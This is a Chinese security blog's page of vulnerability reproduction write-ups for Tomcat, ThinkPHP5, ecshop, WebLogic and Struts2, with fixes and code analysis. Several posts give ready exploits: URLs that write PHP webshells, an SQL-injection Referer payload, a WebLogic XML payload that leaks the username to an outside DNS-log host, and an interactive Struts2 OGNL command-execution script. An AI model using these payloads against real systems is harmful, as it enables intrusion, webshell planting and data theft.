Tag:RCE

Tag (RCE)'s result:

tomcat rce漏洞重现(cve-2019-0232)

0x00 概述 2019.4,网上曝出出tomcat rce漏洞(cve-2019-0232),该漏洞是由于Tomcat CGI(jre)将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入,本文对此漏洞进行重现。 0x01 影响范围 Apache Tomcat 9.0.0.M1 to 9.0.17 Apache Tomcat 8.5.0 to 8.5.39 Apache Tomcat 7.0.0 to 7.0.93   0x02 漏洞重现 环境 tomcat 8.5.39/9.0.12+java 8u171 conf/web.xml 注意要去掉注释!!! 第六行web-inf/cgi-bin!!!(默认是web-inf/cgi,涉及访问路径) conf/context.xml Context 添加privileged=”true” 编写bat文件 重现成功! whoami和net user都空白,应该是权限不足。   0x03 结语 好鸡肋的漏洞,不仅要修改默认配置,还要传bat……(理论型漏洞如12615)   0x04 修复方案 升级到v9.0.19(增加了校验命令行参数) 不要乱改配置(除非你知道自己在干嘛……)   0x05 参考资料 https://xz.aliyun.com/t/4875 http://26.wf/?p=375

ThinkPHP5 RCE漏洞重现及分析

0x00 概述 近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。 0x01 影响范围 5.x < 5.1.31 5.x < 5.0.23 以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。 shodan一下:   0x02 漏洞重现 win7+thinkphp5.1.24 (1)执行phpinfo /index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’   debian+thinkphp5.1.30 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?> win7+thinkphp5.0.16 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>   0x03 修复方案 直接git/composer更新 手工修复 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   如果改完后404,尝试修改正则,加上\/ if (!preg_match(‘/^[A-Za-z\/](\w|\.)*$/’, $controller)) {   0x04 漏洞分析 Thinkphp5.1.24: 先看补丁: 对controller添加了过滤 查看路由调度: Module.php:83 public function exec() { // 监听module_init $this->app[‘hook’]->listen(‘module_init’);   try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig(‘url_controller_layer’), $this->rule->getConfig(‘controller_suffix’), $this->rule->getConfig(’empty_controller’)); } catch (ClassNotFoundException $e) { throw new HttpException(404, ‘controller not exists:’ . $e->getClass()); } …… $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);   return $this->autoResponse($data); }); $instance = $this->app->controller 实例化控制器以调用其中的方法 查看controller方法 App.php:719 public function controller($name, $layer = ‘controller’, $appendSuffix = false, $empty = ”) { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);   if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {……

ecshop 2.x远程代码执行漏洞重现及分析

本文参考自:ringk3y.com/2018/08/31/ecshop2-x代码执行/ //本文漏洞分析部分利用的payload/exp来源于此文。 0x00 概述 8月31日,网上爆出ecshop远程代码执行漏洞,经测试,该漏洞利用难度低,威力巨大可直接getshell,本文对此进行重现及分析。 0x01 影响范围 ecshop 2.x   0x02 漏洞重现 SQL注入: 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} RCE getshell: //工具https://github.com/theLSA/ecshop-getshell   0x03 修复方案 intval $arr[id]和$arr[num]   0x04 漏洞分析 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} 环境:ecshop 2.7.3 漏洞文件: ecshop273\user.php:302 elseif ($action == ‘login’) { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS[‘_SERVER’][‘HTTP_REFERER’])) { $back_act = strpos($GLOBALS[‘_SERVER’][‘HTTP_REFERER’], ‘user.php’) ? ‘./index.php’ : $GLOBALS[‘_SERVER’][‘HTTP_REFERER’]; } else { $back_act = ‘user.php’; }   } $back_act参数来源于Referer,可控。 $smarty->assign(‘back_act’, $back_act); $smarty->display(‘user_passport.dwt’); 赋值展示 ecshop273\includes\cls_template.php:70 function assign($tpl_var, $value = ”) { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != ”) { $this->_var[$key] = $val; } } } else { if ($tpl_var != ”) { $this->_var[$tpl_var] = $value; } } }   function display($filename, $cache_id = ”) { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE);   $this->_checkfile = false; $out = $this->fetch($filename, $cache_id);   if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode(”, $k); } error_reporting($this->_errorlevel); $this->_seterror–;   echo $out; } 关键在于: $out = $this->fetch($filename, $cache_id);     if (strpos($out, $this->_echash) !==……

cve-2017-10271重现(附poc)

0x00 概述 2017年12月下旬,网上爆出weblogic的WLS组件存在xmldecoder反序列化漏洞(cve-2017-10271),直接post构造的xml数据包即可rce,威力巨大,影响范围广,本文对此漏洞在windows下进行重现。   0x01 影响范围 Weblogic版本: 10.3.6.0.0 12.2.1.1.0 12.2.1.2.0 12.1.3.0.0   0x02 漏洞重现 访问ip/domain:port/wls-wsat/CoordinatorPortType (默认端口7001) 如下图则表明可能存在此漏洞 开始测试 poc验证 Post数据包如下 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: www.xxx.com:7001 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type:text/xml Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 830   <soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/”> <soapenv:Header> <work:WorkContext xmlns:work=”http://bea.com/2004/06/soap/workarea/”> <java version=”1.8.0_131″ class=”java.beans.XMLDecoder”> <void class=”java.lang.ProcessBuilder”> <array class=”java.lang.String” length=”3″> <void index=”0″> <string>C:\\windows\\system32\\cmd.exe</string> </void> <void index=”1″> <string>/c</string> </void> <void index=”2″> <string>nslookup %username%.lsabcd.ceye.io</string> </void> </array> <void method=”start”/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> 观察响应: HTTP/1.1 500 Internal Server Error Connection: close Date: Thu, 04 Jan 2018 02:38:24 GMT Content-Type: text/xml;charset=”utf-8″ X-Powered-By: Servlet/2.5 JSP/2.1 Content-Length: 262   <?xml version=’1.0′ encoding=’UTF-8′?><S:Envelope xmlns:S=”http://schemas.xmlsoap.org/soap/envelope/”><S:Body><S:Fault xmlns:ns4=”http://www.w3.org/2003/05/soap-envelope”><faultcode>S:Server</faultcode><faultstring>0</faultstring></S:Fault></S:Body></S:Envelope> 响应码500,其实已经成功执行命令,看看dnslog的回显: 附上win下的一些变量 ping %COMPUTERNAME%.baidu.com %COMPUTERNAME% 是一个变量,得到计算机名%ALLUSERSPROFILE% : 列出所有用户Profile文件位置。 %APPDATA% :  列出应用程序数据的默认存放位置。 %CD% :  列出当前目录。 %CLIENTNAME% :  列出联接到终端服务会话时客户端的NETBIOS名。 %CMDCMDLINE% :  列出启动当前cmd.exe所使用的命令行。 %CMDEXTVERSION% :  命令出当前命令处理程序扩展版本号。 %CommonProgramFiles% :  列出了常用文件的文件夹路径。 %COMPUTERNAME% :  列出了计算机名。 %COMSPEC% :  列出了可执行命令外壳(命令处理程序)的路径。 %DATE% :  列出当前日期。 %ERRORLEVEL% :  列出了最近使用的命令的错误代码。 %HOMEDRIVE% :  列出与用户主目录所在的驱动器盘符。 %HOMEPATH% :  列出用户主目录的完整路径。 %HOMESHARE% :  列出用户共享主目录的网络路径。 %LOGONSEVER% :  列出有效的当前登录会话的域名控制器名。 %NUMBER_OF_PROCESSORS% :  列出了计算机安装的处理器数。 %OS% :  列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.) %Path% :  列出了可执行文件的搜索路径。 %PATHEXT% :  列出操作系统认为可被执行的文件扩展名。 %PROCESSOR_ARCHITECTURE% :  列出了处理器的芯片架构。 %PROCESSOR_IDENTFIER% :  列出了处理器的描述。 %PROCESSOR_LEVEL% :  列出了计算机的处理器的型号。 %PROCESSOR_REVISION% :  列出了处理器的修订号。 %ProgramFiles% :  列出了Program Files文件夹的路径。 %PROMPT% :  列出了当前命令解释器的命令提示设置。 %RANDOM% :  列出界于0 和 32767之间的随机十进制数。 %SESSIONNAME% :  列出连接到终端服务会话时的连接和会话名。 %SYSTEMDRIVE% :  列出了Windows启动目录所在驱动器。 %SYSTEMROOT% :  列出了Windows启动目录的位置。 %TEMP% and %TMP% :  列出了当前登录的用户可用应用程序的默认临时目录。 %TIME% :  列出当前时间。 %USERDOMAIN% :  列出了包含用户帐号的域的名字。 %USERNAME% :  列出当前登录的用户的名字。 %USERPROFILE% :  列出当前用户Profile文件位置。 %WINDIR% :  列出操作系统目录的位置。 %ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 %APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 %CD% 本地 返回当前目录字符串。 %CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 %CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。 %COMPUTERNAME%  系统 返回计算机的名称。 %COMSPEC%  系统 返回命令行解释器可执行程序的准确路径。 %DATE%  系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 %ERRORLEVEL%  系统 返回上一条命令的错误代码。通常用非零值表示错误。 %HOMEDRIVE%  系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMEPATH%  系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMESHARE%  系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %LOGONSERVER%  本地 返回验证当前登录会话的域控制器的名称。 %NUMBER_OF_PROCESSORS%  系统 指定安装在计算机上的处理器的数目。 %OS%  系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 %PATH% 系统 指定可执行文件的搜索路径。 %PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 %PROCESSOR_ARCHITECTURE%  系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 %PROCESSOR_IDENTFIER% 系统 返回处理器说明。 %PROCESSOR_LEVEL%  系统 返回计算机上安装的处理器的型号。 %PROCESSOR_REVISION% 系统 返回处理器的版本号。 %PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 %RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 %SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 %SYSTEMROOT%  系统 返回 Windows server operating system 根目录的位置。 %TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 %TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。 %USERDOMAIN% 本地 返回包含用户帐户的域的名称。 %USERNAME% 本地 返回当前登录的用户的名称。 %USERPROFILE% 本地 返回当前用户的配置文件的位置。 %WINDIR% 系统 返回操作系统目录的位置。   %allusersprofile%——————–所有用户的profile路径   %Userprofile%———————–当前用户的配置文件目录   %Appdata%————————–当前用户的应用程序路径   %commonprogramfiles%————-应用程序公用的文件路径   %homedrive%————————当前用户的主盘   %Homepath%————————当前用户的主目录   %programfiles%———————-应用程序的默认安装目录   %systemdrive%———————-系统所在的盘符   %systemroot%———————–系统所在的目录   %windir%—————————-同上,总是跟systemroot一样   %tmp%——————————当前用户的临时目录   %temp%—————————–同上临时目录   0x03 其他 如果要写入文件,记得转义相关字符如 “&”: “&amp;”, ‘”‘: “&quot;”, “‘”: “&apos;”, “>”: “&gt;”, “<“: “&lt;”, 几个默认路径: bea_wls9_async_response _WL_internal/bea_wls_internal/9j4dqk/war/ uddiexplorer _WL_internal/wls-wast   0x04 修复方案……

struts2-048漏洞重现及分析报告

0x01 概述 2017年7月,Tophant发现struts2 showcase应用中存在RCE漏洞,攻击者可以构造恶意输入通过struts2的struts1插件触发RCE,Struts2的struts1插件是为了兼容struts1。漏洞编号 s2-048 /CVE-2017-9791。 0x02 影响范围 Struts2.3.x并且启用了struts2-struts1-plugin(非默认) 0x03 POC //此poc来源于https://github.com/jas502n/st2-048 import json,re import requests import threading import urllib def Poc(url,command): header = {‘Content-Type’: ‘application/x-www-form-urlencoded’} poc = {“name”:”%{(#szgx=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’ \ “+command+”‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}”,”age”:”1″,”__checkbox_bustedBefore”:”true”,”description”:”123123″} data = urllib.urlencode(poc) try: result = requests.post(url,data=data,headers=header) if result.status_code == 200: print result.content except requests.ConnectionError,e: print e th = {“url”:””} while True: if th.get(“url”) != “”: input_cmd = raw_input(“cmd >>: “) if input_cmd == “exit”: exit() elif input_cmd == ‘set’: url = raw_input(“set url :”) th[‘url’] = url elif input_cmd == ‘show url’: print th.get(“url”) else: Poc(th.get(“url”),input_cmd) else: url = raw_input(“set url :”) th[“url”] = url 0x04 环境搭建及效果演示 1.环境搭建: win7+tomcat7+struts2.3.20+java1.8 把struts2-showcase.war复制到webapps目录。 访问 192.168.0.105:8080/struts2-showcase/integration/saveGangster.action 2.效果演示: 0x05 修复方案 1.通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示: messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName())); 一定不要使用如下的方式 messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”)); 2.停用struts2-struts1-plugin插件 3.升级到最新版本 0x06 漏洞分析 先看看官网的说明: It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it’s a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the ActionMessage class. 大意就是攻击者可以构造恶意输入通过struts1插件发起RCE,message的部分值来自用户输入,不信任的输入成为error message的一部分进入ActionMessage类。 那就找找是怎么进入ActionMessage的, 来看看SaveGangsterAction.java: public class……

Apache Struts2再曝RCE漏洞(s2-046 CVE-2017-5638)

1.概述: 这次的s2-046和之前的s2-045相似,也是RCE漏洞,也是BuildErrorMessage,也是执行ognl……,但是攻击向量不同,这次漏洞编号都没变。 2.什么是apache、struts? Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。众所周知的SSH框架就是用了struts2。 3.漏洞原因: 使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致RCE。 所以此洞的触发如下: (1)JakartaStreamMultipartRequest已开启。也就是说,Struts2需要通过Jakarta stream parser配置(非默认)。在Struts2配置文件中检查<constant name=”struts.multipart.parser” value=”jakarta-stream” /> (2)上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。 (3)header中的Content-Disposition中包含空字节。 (4)文件名内容构造恶意的OGNL内容。 官方链接:http://struts.apache.org/docs/s2-046.html 4.修复方案: 4.1.如果你正在使用基于Jakarta的文件上传Multipart解析器,请将Apache Struts升级到2.3.32或2.5.10.1。 4.2.采用其他Mutipart解析器实施方案。Apache提供2个插件作为解决方案(点击这里)——如果使用的是Apache Struts 2.3.8 – 2.5.5或者2.3.20 – 2.5.5版本,即可采用该解决方案。 4.3.从堆中移除File Upload Interceptor,定义自有堆并设为默认(具体怎么做可以点击这里),该解决方案针对Struts 2.5.8 – 2.5.10有效 4.4. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。   5.参考链接: http://www.freebuf.com/vuls/129871.html http://bobao.360.cn/learning/detail/3571.html        

Apache Struts2 RCE bug (S2-045,CVE-2017-5638)

1.概述: 2017.03.07,网上曝出了apache struts2的RCE漏洞,编号CVE-2017-5638。 安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞。 2.什么是apache、struts? Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。众所周知的SSH框架就是用了struts2。 3.漏洞原因: Struts使用的Jakarta解析文件上传请求出现异常时,对异常的处理不当,当远程攻击者构造恶意的Content-Type(注入ognl语言),可能导致RCE。 官方链接:https://cwiki.apache.org/confluence/display/WW/S2-045 4.影响版本: Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10 基本通杀了! 5.修复方案: 5.1:升级到Apache Struts 2.3.32或2.5.10.1版。 5.2:切换到不同的实现文件上传Multipart解析器(有3种可以选择,默认开启jakarta,此漏洞危害甚广!) 5.3:临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。